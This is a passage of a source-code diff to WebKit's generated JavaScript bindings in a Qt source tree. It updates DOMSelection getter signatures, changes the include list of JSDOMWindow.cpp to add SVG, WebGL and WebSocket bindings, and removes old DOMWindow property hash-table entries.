-JSC::JSValue jsDOMSelectionIsCollapsed(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMSelectionRangeCount(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMSelectionBaseNode(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMSelectionBaseOffset(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMSelectionExtentNode(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMSelectionExtentOffset(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMSelectionType(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMSelectionAnchorNode(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMSelectionAnchorOffset(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMSelectionFocusNode(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMSelectionFocusOffset(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMSelectionIsCollapsed(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMSelectionRangeCount(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMSelectionBaseNode(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMSelectionBaseOffset(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMSelectionExtentNode(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMSelectionExtentOffset(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMSelectionType(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSDOMWindow.cpp b/src/3rdparty/webkit/WebCore/generated/JSDOMWindow.cpp
index d270e37..04238bc 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSDOMWindow.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSDOMWindow.cpp
@@ -37,6 +37,7 @@
 #include "JSAttr.h"
 #include "JSBarInfo.h"
 #include "JSBeforeLoadEvent.h"
+#include "JSBlob.h"
 #include "JSCDATASection.h"
 #include "JSCSSCharsetRule.h"
 #include "JSCSSFontFaceRule.h"
@@ -53,16 +54,7 @@
 #include "JSCSSValueList.h"
 #include "JSCSSVariablesDeclaration.h"
 #include "JSCSSVariablesRule.h"
-#include "JSCanvasArrayBuffer.h"
-#include "JSCanvasByteArray.h"
-#include "JSCanvasFloatArray.h"
-#include "JSCanvasIntArray.h"
 #include "JSCanvasRenderingContext2D.h"
-#include "JSCanvasRenderingContext3D.h"
-#include "JSCanvasShortArray.h"
-#include "JSCanvasUnsignedByteArray.h"
-#include "JSCanvasUnsignedIntArray.h"
-#include "JSCanvasUnsignedShortArray.h"
 #include "JSCharacterData.h"
 #include "JSClientRect.h"
 #include "JSClientRectList.h"
@@ -73,13 +65,13 @@
 #include "JSDOMApplicationCache.h"
 #include "JSDOMBinding.h"
 #include "JSDOMCoreException.h"
+#include "JSDOMFormData.h"
 #include "JSDOMImplementation.h"
 #include "JSDOMParser.h"
 #include "JSDOMSelection.h"
 #include "JSDOMWindow.h"
 #include "JSDOMWindowCustom.h"
 #include "JSDOMWindowShell.h"
-#include "JSDatabase.h"
 #include "JSDocument.h"
 #include "JSDocumentFragment.h"
 #include "JSDocumentType.h"
@@ -158,6 +150,7 @@
 #include "JSHTMLTitleElement.h"
 #include "JSHTMLUListElement.h"
 #include "JSHTMLVideoElement.h"
+#include "JSImageData.h"
 #include "JSKeyboardEvent.h"
 #include "JSMedia.h"
 #include "JSMediaError.h"
@@ -185,20 +178,123 @@
 #include "JSRange.h"
 #include "JSRangeException.h"
 #include "JSRect.h"
+#include "JSSVGAElement.h"
 #include "JSSVGAngle.h"
+#include "JSSVGAnimatedAngle.h"
+#include "JSSVGAnimatedBoolean.h"
+#include "JSSVGAnimatedEnumeration.h"
+#include "JSSVGAnimatedInteger.h"
+#include "JSSVGAnimatedLength.h"
+#include "JSSVGAnimatedLengthList.h"
+#include "JSSVGAnimatedNumber.h"
+#include "JSSVGAnimatedNumberList.h"
+#include "JSSVGAnimatedPreserveAspectRatio.h"
+#include "JSSVGAnimatedRect.h"
+#include "JSSVGAnimatedString.h"
+#include "JSSVGAnimatedTransformList.h"
+#include "JSSVGCircleElement.h"
+#include "JSSVGClipPathElement.h"
 #include "JSSVGColor.h"
+#include "JSSVGComponentTransferFunctionElement.h"
+#include "JSSVGCursorElement.h"
+#include "JSSVGDefsElement.h"
+#include "JSSVGDescElement.h"
+#include "JSSVGDocument.h"
+#include "JSSVGElement.h"
+#include "JSSVGElementInstance.h"
+#include "JSSVGElementInstanceList.h"
+#include "JSSVGEllipseElement.h"
 #include "JSSVGException.h"
+#include "JSSVGFEBlendElement.h"
+#include "JSSVGFEColorMatrixElement.h"
+#include "JSSVGFEComponentTransferElement.h"
+#include "JSSVGFECompositeElement.h"
+#include "JSSVGFEDiffuseLightingElement.h"
+#include "JSSVGFEDisplacementMapElement.h"
+#include "JSSVGFEDistantLightElement.h"
+#include "JSSVGFEFloodElement.h"
+#include "JSSVGFEFuncAElement.h"
+#include "JSSVGFEFuncBElement.h"
+#include "JSSVGFEFuncGElement.h"
+#include "JSSVGFEFuncRElement.h"
+#include "JSSVGFEGaussianBlurElement.h"
+#include "JSSVGFEImageElement.h"
+#include "JSSVGFEMergeElement.h"
+#include "JSSVGFEMergeNodeElement.h"
+#include "JSSVGFEMorphologyElement.h"
+#include "JSSVGFEOffsetElement.h"
+#include "JSSVGFEPointLightElement.h"
+#include "JSSVGFESpecularLightingElement.h"
+#include "JSSVGFESpotLightElement.h"
+#include "JSSVGFETileElement.h"
+#include "JSSVGFETurbulenceElement.h"
+#include "JSSVGFilterElement.h"
+#include "JSSVGGElement.h"
 #include "JSSVGGradientElement.h"
+#include "JSSVGImageElement.h"
 #include "JSSVGLength.h"
+#include "JSSVGLengthList.h"
+#include "JSSVGLineElement.h"
+#include "JSSVGLinearGradientElement.h"
 #include "JSSVGMarkerElement.h"
+#include "JSSVGMaskElement.h"
+#include "JSSVGMatrix.h"
+#include "JSSVGMetadataElement.h"
+#include "JSSVGNumber.h"
+#include "JSSVGNumberList.h"
 #include "JSSVGPaint.h"
+#include "JSSVGPathElement.h"
 #include "JSSVGPathSeg.h"
+#include "JSSVGPathSegArcAbs.h"
+#include "JSSVGPathSegArcRel.h"
+#include "JSSVGPathSegClosePath.h"
+#include "JSSVGPathSegCurvetoCubicAbs.h"
+#include "JSSVGPathSegCurvetoCubicRel.h"
+#include "JSSVGPathSegCurvetoCubicSmoothAbs.h"
+#include "JSSVGPathSegCurvetoCubicSmoothRel.h"
+#include "JSSVGPathSegCurvetoQuadraticAbs.h"
+#include "JSSVGPathSegCurvetoQuadraticRel.h"
+#include "JSSVGPathSegCurvetoQuadraticSmoothAbs.h"
+#include "JSSVGPathSegCurvetoQuadraticSmoothRel.h"
+#include "JSSVGPathSegLinetoAbs.h"
+#include "JSSVGPathSegLinetoHorizontalAbs.h"
+#include "JSSVGPathSegLinetoHorizontalRel.h"
+#include "JSSVGPathSegLinetoRel.h"
+#include "JSSVGPathSegLinetoVerticalAbs.h"
+#include "JSSVGPathSegLinetoVerticalRel.h"
+#include "JSSVGPathSegList.h"
+#include "JSSVGPathSegMovetoAbs.h"
+#include "JSSVGPathSegMovetoRel.h"
+#include "JSSVGPatternElement.h"
+#include "JSSVGPoint.h"
+#include "JSSVGPointList.h"
+#include "JSSVGPolygonElement.h"
+#include "JSSVGPolylineElement.h"
 #include "JSSVGPreserveAspectRatio.h"
+#include "JSSVGRadialGradientElement.h"
+#include "JSSVGRect.h"
+#include "JSSVGRectElement.h"
 #include "JSSVGRenderingIntent.h"
+#include "JSSVGSVGElement.h"
+#include "JSSVGScriptElement.h"
+#include "JSSVGStopElement.h"
+#include "JSSVGStringList.h"
+#include "JSSVGStyleElement.h"
+#include "JSSVGSwitchElement.h"
+#include "JSSVGSymbolElement.h"
+#include "JSSVGTRefElement.h"
+#include "JSSVGTSpanElement.h"
 #include "JSSVGTextContentElement.h"
+#include "JSSVGTextElement.h"
 #include "JSSVGTextPathElement.h"
+#include "JSSVGTextPositioningElement.h"
+#include "JSSVGTitleElement.h"
 #include "JSSVGTransform.h"
+#include "JSSVGTransformList.h"
 #include "JSSVGUnitTypes.h"
+#include "JSSVGUseElement.h"
+#include "JSSVGViewElement.h"
+#include "JSSVGZoomEvent.h"
 #include "JSScreen.h"
 #include "JSSharedWorker.h"
 #include "JSStorage.h"
@@ -208,7 +304,17 @@
 #include "JSText.h"
 #include "JSTextEvent.h"
 #include "JSTextMetrics.h"
+#include "JSTouchEvent.h"
 #include "JSUIEvent.h"
+#include "JSWebGLArrayBuffer.h"
+#include "JSWebGLByteArray.h"
+#include "JSWebGLFloatArray.h"
+#include "JSWebGLIntArray.h"
+#include "JSWebGLRenderingContext.h"
+#include "JSWebGLShortArray.h"
+#include "JSWebGLUnsignedByteArray.h"
+#include "JSWebGLUnsignedIntArray.h"
+#include "JSWebGLUnsignedShortArray.h"
 #include "JSWebKitAnimationEvent.h"
 #include "JSWebKitCSSKeyframeRule.h"
 #include "JSWebKitCSSKeyframesRule.h"
@@ -216,6 +322,7 @@
 #include "JSWebKitCSSTransformValue.h"
 #include "JSWebKitPoint.h"
 #include "JSWebKitTransitionEvent.h"
+#include "JSWebSocket.h"
 #include "JSWheelEvent.h"
 #include "JSWorker.h"
 #include "JSXMLHttpRequest.h"
@@ -246,389 +353,512 @@ ASSERT_CLASS_FITS_IN_CELL(JSDOMWindow);
 
 /* Hash table */
 
-static const HashTableValue JSDOMWindowTableValues[296] =
-{
-    { "screen", DontDelete|ReadOnly, (intptr_t)jsDOMWindowScreen, (intptr_t)0 },
-    { "history", DontDelete|ReadOnly, (intptr_t)jsDOMWindowHistory, (intptr_t)0 },
-    { "locationbar", DontDelete, (intptr_t)jsDOMWindowLocationbar, (intptr_t)setJSDOMWindowLocationbar },
-    { "menubar", DontDelete, (intptr_t)jsDOMWindowMenubar, (intptr_t)setJSDOMWindowMenubar },
-    { "personalbar", DontDelete, (intptr_t)jsDOMWindowPersonalbar, (intptr_t)setJSDOMWindowPersonalbar },
-    { "scrollbars", DontDelete, (intptr_t)jsDOMWindowScrollbars, (intptr_t)setJSDOMWindowScrollbars },
-    { "statusbar", DontDelete, (intptr_t)jsDOMWindowStatusbar, (intptr_t)setJSDOMWindowStatusbar },
-    { "toolbar", DontDelete, (intptr_t)jsDOMWindowToolbar, (intptr_t)setJSDOMWindowToolbar },
-    { "navigator", DontDelete, (intptr_t)jsDOMWindowNavigator, (intptr_t)setJSDOMWindowNavigator },
-    { "clientInformation", DontDelete, (intptr_t)jsDOMWindowClientInformation, (intptr_t)setJSDOMWindowClientInformation },
-    { "location", DontDelete, (intptr_t)jsDOMWindowLocation, (intptr_t)setJSDOMWindowLocation },
-    { "event", DontDelete, (intptr_t)jsDOMWindowEvent, (intptr_t)setJSDOMWindowEvent },
-    { "crypto", DontDelete|ReadOnly, (intptr_t)jsDOMWindowCrypto, (intptr_t)0 },
-    { "frameElement", DontDelete|ReadOnly, (intptr_t)jsDOMWindowFrameElement, (intptr_t)0 },
-    { "offscreenBuffering", DontDelete, (intptr_t)jsDOMWindowOffscreenBuffering, (intptr_t)setJSDOMWindowOffscreenBuffering },
-    { "outerHeight", DontDelete, (intptr_t)jsDOMWindowOuterHeight, (intptr_t)setJSDOMWindowOuterHeight },
-    { "outerWidth", DontDelete, (intptr_t)jsDOMWindowOuterWidth, (intptr_t)setJSDOMWindowOuterWidth },
-    { "innerHeight", DontDelete, (intptr_t)jsDOMWindowInnerHeight, (intptr_t)setJSDOMWindowInnerHeight },
-    { "innerWidth", DontDelete, (intptr_t)jsDOMWindowInnerWidth, (intptr_t)setJSDOMWindowInnerWidth },
-    { "screenX", DontDelete, (intptr_t)jsDOMWindowScreenX, (intptr_t)setJSDOMWindowScreenX },
-    { "screenY", DontDelete, (intptr_t)jsDOMWindowScreenY, (intptr_t)setJSDOMWindowScreenY },
-    { "screenLeft", DontDelete, (intptr_t)jsDOMWindowScreenLeft, (intptr_t)setJSDOMWindowScreenLeft },
-    { "screenTop", DontDelete, (intptr_t)jsDOMWindowScreenTop, (intptr_t)setJSDOMWindowScreenTop },
-    { "scrollX", DontDelete, (intptr_t)jsDOMWindowScrollX, (intptr_t)setJSDOMWindowScrollX },
-    { "scrollY", DontDelete, (intptr_t)jsDOMWindowScrollY, (intptr_t)setJSDOMWindowScrollY },
-    { "pageXOffset", DontDelete|ReadOnly, (intptr_t)jsDOMWindowPageXOffset, (intptr_t)0 },
-    { "pageYOffset", DontDelete|ReadOnly, (intptr_t)jsDOMWindowPageYOffset, (intptr_t)0 },
-    { "closed", DontDelete|ReadOnly, (intptr_t)jsDOMWindowClosed, (intptr_t)0 },
-    { "length", DontDelete, (intptr_t)jsDOMWindowLength, (intptr_t)setJSDOMWindowLength },
-    { "name", DontDelete, (intptr_t)jsDOMWindowName, (intptr_t)setJSDOMWindowName },
-    { "status", DontDelete, (intptr_t)jsDOMWindowStatus, (intptr_t)setJSDOMWindowStatus },
-    { "defaultStatus", DontDelete, (intptr_t)jsDOMWindowDefaultStatus, (intptr_t)setJSDOMWindowDefaultStatus },
-    { "defaultstatus", DontDelete, (intptr_t)jsDOMWindowDefaultstatus, (intptr_t)setJSDOMWindowDefaultstatus },
-    { "self", DontDelete, (intptr_t)jsDOMWindowSelf, (intptr_t)setJSDOMWindowSelf },
-    { "window", DontDelete|ReadOnly, (intptr_t)jsDOMWindowWindow, (intptr_t)0 },
-    { "frames", DontDelete, (intptr_t)jsDOMWindowFrames, (intptr_t)setJSDOMWindowFrames },
-    { "opener", DontDelete, (intptr_t)jsDOMWindowOpener, (intptr_t)setJSDOMWindowOpener },
-    { "parent", DontDelete, (intptr_t)jsDOMWindowParent, (intptr_t)setJSDOMWindowParent },
-    { "top", DontDelete, (intptr_t)jsDOMWindowTop, (intptr_t)setJSDOMWindowTop },
-    { "document", DontDelete|ReadOnly, (intptr_t)jsDOMWindowDocument, (intptr_t)0 },
-    { "media", DontDelete|ReadOnly, (intptr_t)jsDOMWindowMedia, (intptr_t)0 },
-    { "devicePixelRatio", DontDelete, (intptr_t)jsDOMWindowDevicePixelRatio, (intptr_t)setJSDOMWindowDevicePixelRatio },
-    { "applicationCache", DontDelete|ReadOnly, (intptr_t)jsDOMWindowApplicationCache, (intptr_t)0 },
-    { "sessionStorage", DontDelete|ReadOnly, (intptr_t)jsDOMWindowSessionStorage, (intptr_t)0 },
-    { "localStorage", DontDelete|ReadOnly, (intptr_t)jsDOMWindowLocalStorage, (intptr_t)0 },
-    { "console", DontDelete, (intptr_t)jsDOMWindowConsole, (intptr_t)setJSDOMWindowConsole },
-    { "onabort", DontDelete, (intptr_t)jsDOMWindowOnabort, (intptr_t)setJSDOMWindowOnabort },
-    { "onbeforeunload", DontDelete, (intptr_t)jsDOMWindowOnbeforeunload, (intptr_t)setJSDOMWindowOnbeforeunload },
-    { "onblur", DontDelete, (intptr_t)jsDOMWindowOnblur, (intptr_t)setJSDOMWindowOnblur },
-    { "oncanplay", DontDelete, (intptr_t)jsDOMWindowOncanplay, (intptr_t)setJSDOMWindowOncanplay },
-    { "oncanplaythrough", DontDelete, (intptr_t)jsDOMWindowOncanplaythrough, (intptr_t)setJSDOMWindowOncanplaythrough },
-    { "onchange", DontDelete, (intptr_t)jsDOMWindowOnchange, (intptr_t)setJSDOMWindowOnchange },
-    { "onclick", DontDelete, (intptr_t)jsDOMWindowOnclick, (intptr_t)setJSDOMWindowOnclick },
-    { "oncontextmenu", DontDelete, (intptr_t)jsDOMWindowOncontextmenu, (intptr_t)setJSDOMWindowOncontextmenu },
-    { "ondblclick", DontDelete, (intptr_t)jsDOMWindowOndblclick, (intptr_t)setJSDOMWindowOndblclick },
-    { "ondrag", DontDelete, (intptr_t)jsDOMWindowOndrag, (intptr_t)setJSDOMWindowOndrag },
-    { "ondragend", DontDelete, (intptr_t)jsDOMWindowOndragend, (intptr_t)setJSDOMWindowOndragend },
-    { "ondragenter", DontDelete, (intptr_t)jsDOMWindowOndragenter, (intptr_t)setJSDOMWindowOndragenter },
-    { "ondragleave", DontDelete, (intptr_t)jsDOMWindowOndragleave, (intptr_t)setJSDOMWindowOndragleave },
-    { "ondragover", DontDelete, (intptr_t)jsDOMWindowOndragover, (intptr_t)setJSDOMWindowOndragover },
-    { "ondragstart", DontDelete, (intptr_t)jsDOMWindowOndragstart, (intptr_t)setJSDOMWindowOndragstart },
-    { "ondrop", DontDelete, (intptr_t)jsDOMWindowOndrop, (intptr_t)setJSDOMWindowOndrop },
-    { "ondurationchange", DontDelete, (intptr_t)jsDOMWindowOndurationchange, (intptr_t)setJSDOMWindowOndurationchange },
-    { "onemptied", DontDelete, (intptr_t)jsDOMWindowOnemptied, (intptr_t)setJSDOMWindowOnemptied },
-    { "onended", DontDelete, (intptr_t)jsDOMWindowOnended, (intptr_t)setJSDOMWindowOnended },
-    { "onerror", DontDelete, (intptr_t)jsDOMWindowOnerror, (intptr_t)setJSDOMWindowOnerror },
-    { "onfocus", DontDelete, (intptr_t)jsDOMWindowOnfocus, (intptr_t)setJSDOMWindowOnfocus },
-    { "onhashchange", DontDelete, (intptr_t)jsDOMWindowOnhashchange, (intptr_t)setJSDOMWindowOnhashchange },
-    { "oninput", DontDelete, (intptr_t)jsDOMWindowOninput, (intptr_t)setJSDOMWindowOninput },
-    { "oninvalid", DontDelete, (intptr_t)jsDOMWindowOninvalid, (intptr_t)setJSDOMWindowOninvalid },
-    { "onkeydown", DontDelete, (intptr_t)jsDOMWindowOnkeydown, (intptr_t)setJSDOMWindowOnkeydown },
-    { "onkeypress", DontDelete, (intptr_t)jsDOMWindowOnkeypress, (intptr_t)setJSDOMWindowOnkeypress },
-    { "onkeyup", DontDelete, (intptr_t)jsDOMWindowOnkeyup, (intptr_t)setJSDOMWindowOnkeyup },
-    { "onload", DontDelete, (intptr_t)jsDOMWindowOnload, (intptr_t)setJSDOMWindowOnload },
-    { "onloadeddata", DontDelete, (intptr_t)jsDOMWindowOnloadeddata, (intptr_t)setJSDOMWindowOnloadeddata },
-    { "onloadedmetadata", DontDelete, (intptr_t)jsDOMWindowOnloadedmetadata, (intptr_t)setJSDOMWindowOnloadedmetadata },
-    { "onloadstart", DontDelete, (intptr_t)jsDOMWindowOnloadstart, (intptr_t)setJSDOMWindowOnloadstart },
-    { "onmessage", DontDelete, (intptr_t)jsDOMWindowOnmessage, (intptr_t)setJSDOMWindowOnmessage },
-    { "onmousedown", DontDelete, (intptr_t)jsDOMWindowOnmousedown, (intptr_t)setJSDOMWindowOnmousedown },
-    { "onmousemove", DontDelete, (intptr_t)jsDOMWindowOnmousemove, (intptr_t)setJSDOMWindowOnmousemove },
-    { "onmouseout", DontDelete, (intptr_t)jsDOMWindowOnmouseout, (intptr_t)setJSDOMWindowOnmouseout },
-    { "onmouseover", DontDelete, (intptr_t)jsDOMWindowOnmouseover, (intptr_t)setJSDOMWindowOnmouseover },
-    { "onmouseup", DontDelete, (intptr_t)jsDOMWindowOnmouseup, (intptr_t)setJSDOMWindowOnmouseup },
-    { "onmousewheel", DontDelete, (intptr_t)jsDOMWindowOnmousewheel, (intptr_t)setJSDOMWindowOnmousewheel },
-    { "onoffline", DontDelete, (intptr_t)jsDOMWindowOnoffline, (intptr_t)setJSDOMWindowOnoffline },
-    { "ononline", DontDelete, (intptr_t)jsDOMWindowOnonline, (intptr_t)setJSDOMWindowOnonline },
-    { "onpagehide", DontDelete, (intptr_t)jsDOMWindowOnpagehide, (intptr_t)setJSDOMWindowOnpagehide },
-    { "onpageshow", DontDelete, (intptr_t)jsDOMWindowOnpageshow, (intptr_t)setJSDOMWindowOnpageshow },
-    { "onpause", DontDelete, (intptr_t)jsDOMWindowOnpause, (intptr_t)setJSDOMWindowOnpause },
-    { "onplay", DontDelete, (intptr_t)jsDOMWindowOnplay, (intptr_t)setJSDOMWindowOnplay },
-    { "onplaying", DontDelete, (intptr_t)jsDOMWindowOnplaying, (intptr_t)setJSDOMWindowOnplaying },
-    { "onprogress", DontDelete, (intptr_t)jsDOMWindowOnprogress, (intptr_t)setJSDOMWindowOnprogress },
-    { "onratechange", DontDelete, (intptr_t)jsDOMWindowOnratechange, (intptr_t)setJSDOMWindowOnratechange },
-    { "onresize", DontDelete, (intptr_t)jsDOMWindowOnresize, (intptr_t)setJSDOMWindowOnresize },
-    { "onscroll", DontDelete, (intptr_t)jsDOMWindowOnscroll, (intptr_t)setJSDOMWindowOnscroll },
-    { "onseeked", DontDelete, (intptr_t)jsDOMWindowOnseeked, (intptr_t)setJSDOMWindowOnseeked },
-    { "onseeking", DontDelete, (intptr_t)jsDOMWindowOnseeking, (intptr_t)setJSDOMWindowOnseeking },
-    { "onselect", DontDelete, (intptr_t)jsDOMWindowOnselect, (intptr_t)setJSDOMWindowOnselect },
-    { "onstalled", DontDelete, (intptr_t)jsDOMWindowOnstalled, (intptr_t)setJSDOMWindowOnstalled },
-    { "onstorage", DontDelete, (intptr_t)jsDOMWindowOnstorage, (intptr_t)setJSDOMWindowOnstorage },
-    { "onsubmit", DontDelete, (intptr_t)jsDOMWindowOnsubmit, (intptr_t)setJSDOMWindowOnsubmit },
-    { "onsuspend", DontDelete, (intptr_t)jsDOMWindowOnsuspend, (intptr_t)setJSDOMWindowOnsuspend },
-    { "ontimeupdate", DontDelete, (intptr_t)jsDOMWindowOntimeupdate, (intptr_t)setJSDOMWindowOntimeupdate },
-    { "onunload", DontDelete, (intptr_t)jsDOMWindowOnunload, (intptr_t)setJSDOMWindowOnunload },
-    { "onvolumechange", DontDelete, (intptr_t)jsDOMWindowOnvolumechange, (intptr_t)setJSDOMWindowOnvolumechange },
-    { "onwaiting", DontDelete, (intptr_t)jsDOMWindowOnwaiting, (intptr_t)setJSDOMWindowOnwaiting },
-    { "onreset", DontDelete, (intptr_t)jsDOMWindowOnreset, (intptr_t)setJSDOMWindowOnreset },
-    { "onsearch", DontDelete, (intptr_t)jsDOMWindowOnsearch, (intptr_t)setJSDOMWindowOnsearch },
-    { "onwebkitanimationend", DontDelete, (intptr_t)jsDOMWindowOnwebkitanimationend, (intptr_t)setJSDOMWindowOnwebkitanimationend },
-    { "onwebkitanimationiteration", DontDelete, (intptr_t)jsDOMWindowOnwebkitanimationiteration, (intptr_t)setJSDOMWindowOnwebkitanimationiteration },
-    { "onwebkitanimationstart", DontDelete, (intptr_t)jsDOMWindowOnwebkitanimationstart, (intptr_t)setJSDOMWindowOnwebkitanimationstart },
-    { "onwebkittransitionend", DontDelete, (intptr_t)jsDOMWindowOnwebkittransitionend, (intptr_t)setJSDOMWindowOnwebkittransitionend },
-    { "StyleSheet", DontDelete, (intptr_t)jsDOMWindowStyleSheetConstructor, (intptr_t)setJSDOMWindowStyleSheetConstructor },
-    { "CSSStyleSheet", DontDelete, (intptr_t)jsDOMWindowCSSStyleSheetConstructor, (intptr_t)setJSDOMWindowCSSStyleSheetConstructor },
-    { "CSSValue", DontDelete, (intptr_t)jsDOMWindowCSSValueConstructor, (intptr_t)setJSDOMWindowCSSValueConstructor },
-    { "CSSPrimitiveValue", DontDelete, (intptr_t)jsDOMWindowCSSPrimitiveValueConstructor, (intptr_t)setJSDOMWindowCSSPrimitiveValueConstructor },
-    { "CSSValueList", DontDelete, (intptr_t)jsDOMWindowCSSValueListConstructor, (intptr_t)setJSDOMWindowCSSValueListConstructor },
-    { "WebKitCSSTransformValue", DontDelete, (intptr_t)jsDOMWindowWebKitCSSTransformValueConstructor, (intptr_t)setJSDOMWindowWebKitCSSTransformValueConstructor },
-    { "CSSRule", DontDelete, (intptr_t)jsDOMWindowCSSRuleConstructor, (intptr_t)setJSDOMWindowCSSRuleConstructor },
-    { "CSSCharsetRule", DontDelete, (intptr_t)jsDOMWindowCSSCharsetRuleConstructor, (intptr_t)setJSDOMWindowCSSCharsetRuleConstructor },
-    { "CSSFontFaceRule", DontDelete, (intptr_t)jsDOMWindowCSSFontFaceRuleConstructor, (intptr_t)setJSDOMWindowCSSFontFaceRuleConstructor },
-    { "CSSImportRule", DontDelete, (intptr_t)jsDOMWindowCSSImportRuleConstructor, (intptr_t)setJSDOMWindowCSSImportRuleConstructor },
-    { "CSSMediaRule", DontDelete, (intptr_t)jsDOMWindowCSSMediaRuleConstructor, (intptr_t)setJSDOMWindowCSSMediaRuleConstructor },
-    { "CSSPageRule", DontDelete, (intptr_t)jsDOMWindowCSSPageRuleConstructor, (intptr_t)setJSDOMWindowCSSPageRuleConstructor },
-    { "CSSStyleRule", DontDelete, (intptr_t)jsDOMWindowCSSStyleRuleConstructor, (intptr_t)setJSDOMWindowCSSStyleRuleConstructor },
-    { "CSSVariablesRule", DontDelete, (intptr_t)jsDOMWindowCSSVariablesRuleConstructor, (intptr_t)setJSDOMWindowCSSVariablesRuleConstructor },
-    { "CSSVariablesDeclaration", DontDelete, (intptr_t)jsDOMWindowCSSVariablesDeclarationConstructor, (intptr_t)setJSDOMWindowCSSVariablesDeclarationConstructor },
-    { "CSSStyleDeclaration", DontDelete, (intptr_t)jsDOMWindowCSSStyleDeclarationConstructor, (intptr_t)setJSDOMWindowCSSStyleDeclarationConstructor },
-    { "MediaList", DontDelete, (intptr_t)jsDOMWindowMediaListConstructor, (intptr_t)setJSDOMWindowMediaListConstructor },
-    { "Counter", DontDelete, (intptr_t)jsDOMWindowCounterConstructor, (intptr_t)setJSDOMWindowCounterConstructor },
-    { "CSSRuleList", DontDelete, (intptr_t)jsDOMWindowCSSRuleListConstructor, (intptr_t)setJSDOMWindowCSSRuleListConstructor },
-    { "Rect", DontDelete, (intptr_t)jsDOMWindowRectConstructor, (intptr_t)setJSDOMWindowRectConstructor },
-    { "RGBColor", DontDelete, (intptr_t)jsDOMWindowRGBColorConstructor, (intptr_t)setJSDOMWindowRGBColorConstructor },
-    { "StyleSheetList", DontDelete, (intptr_t)jsDOMWindowStyleSheetListConstructor, (intptr_t)setJSDOMWindowStyleSheetListConstructor },
-    { "DOMException", DontDelete, (intptr_t)jsDOMWindowDOMExceptionConstructor, (intptr_t)setJSDOMWindowDOMExceptionConstructor },
-    { "DOMImplementation", DontDelete, (intptr_t)jsDOMWindowDOMImplementationConstructor, (intptr_t)setJSDOMWindowDOMImplementationConstructor },
-    { "DocumentFragment", DontDelete, (intptr_t)jsDOMWindowDocumentFragmentConstructor, (intptr_t)setJSDOMWindowDocumentFragmentConstructor },
-    { "Document", DontDelete, (intptr_t)jsDOMWindowDocumentConstructor, (intptr_t)setJSDOMWindowDocumentConstructor },
-    { "Node", DontDelete, (intptr_t)jsDOMWindowNodeConstructor, (intptr_t)setJSDOMWindowNodeConstructor },
-    { "NodeList", DontDelete, (intptr_t)jsDOMWindowNodeListConstructor, (intptr_t)setJSDOMWindowNodeListConstructor },
-    { "NamedNodeMap", DontDelete, (intptr_t)jsDOMWindowNamedNodeMapConstructor, (intptr_t)setJSDOMWindowNamedNodeMapConstructor },
-    { "CharacterData", DontDelete, (intptr_t)jsDOMWindowCharacterDataConstructor, (intptr_t)setJSDOMWindowCharacterDataConstructor },
-    { "Attr", DontDelete, (intptr_t)jsDOMWindowAttrConstructor, (intptr_t)setJSDOMWindowAttrConstructor },
-    { "Element", DontDelete, (intptr_t)jsDOMWindowElementConstructor, (intptr_t)setJSDOMWindowElementConstructor },
-    { "Text", DontDelete, (intptr_t)jsDOMWindowTextConstructor, (intptr_t)setJSDOMWindowTextConstructor },
-    { "Comment", DontDelete, (intptr_t)jsDOMWindowCommentConstructor, (intptr_t)setJSDOMWindowCommentConstructor },
-    { "CDATASection", DontDelete, (intptr_t)jsDOMWindowCDATASectionConstructor, (intptr_t)setJSDOMWindowCDATASectionConstructor },
-    { "DocumentType", DontDelete, (intptr_t)jsDOMWindowDocumentTypeConstructor, (intptr_t)setJSDOMWindowDocumentTypeConstructor },
-    { "Notation", DontDelete, (intptr_t)jsDOMWindowNotationConstructor, (intptr_t)setJSDOMWindowNotationConstructor },
-    { "Entity", DontDelete, (intptr_t)jsDOMWindowEntityConstructor, (intptr_t)setJSDOMWindowEntityConstructor },
-    { "EntityReference", DontDelete, (intptr_t)jsDOMWindowEntityReferenceConstructor, (intptr_t)setJSDOMWindowEntityReferenceConstructor },
-    { "ProcessingInstruction", DontDelete, (intptr_t)jsDOMWindowProcessingInstructionConstructor, (intptr_t)setJSDOMWindowProcessingInstructionConstructor },
-    { "HTMLDocument", DontDelete, (intptr_t)jsDOMWindowHTMLDocumentConstructor, (intptr_t)setJSDOMWindowHTMLDocumentConstructor },
-    { "HTMLElement", DontDelete, (intptr_t)jsDOMWindowHTMLElementConstructor, (intptr_t)setJSDOMWindowHTMLElementConstructor },
-    { "HTMLAnchorElement", DontDelete, (intptr_t)jsDOMWindowHTMLAnchorElementConstructor, (intptr_t)setJSDOMWindowHTMLAnchorElementConstructor },
-    { "HTMLAppletElement", DontDelete, (intptr_t)jsDOMWindowHTMLAppletElementConstructor, (intptr_t)setJSDOMWindowHTMLAppletElementConstructor },
-    { "HTMLAreaElement", DontDelete, (intptr_t)jsDOMWindowHTMLAreaElementConstructor, (intptr_t)setJSDOMWindowHTMLAreaElementConstructor },
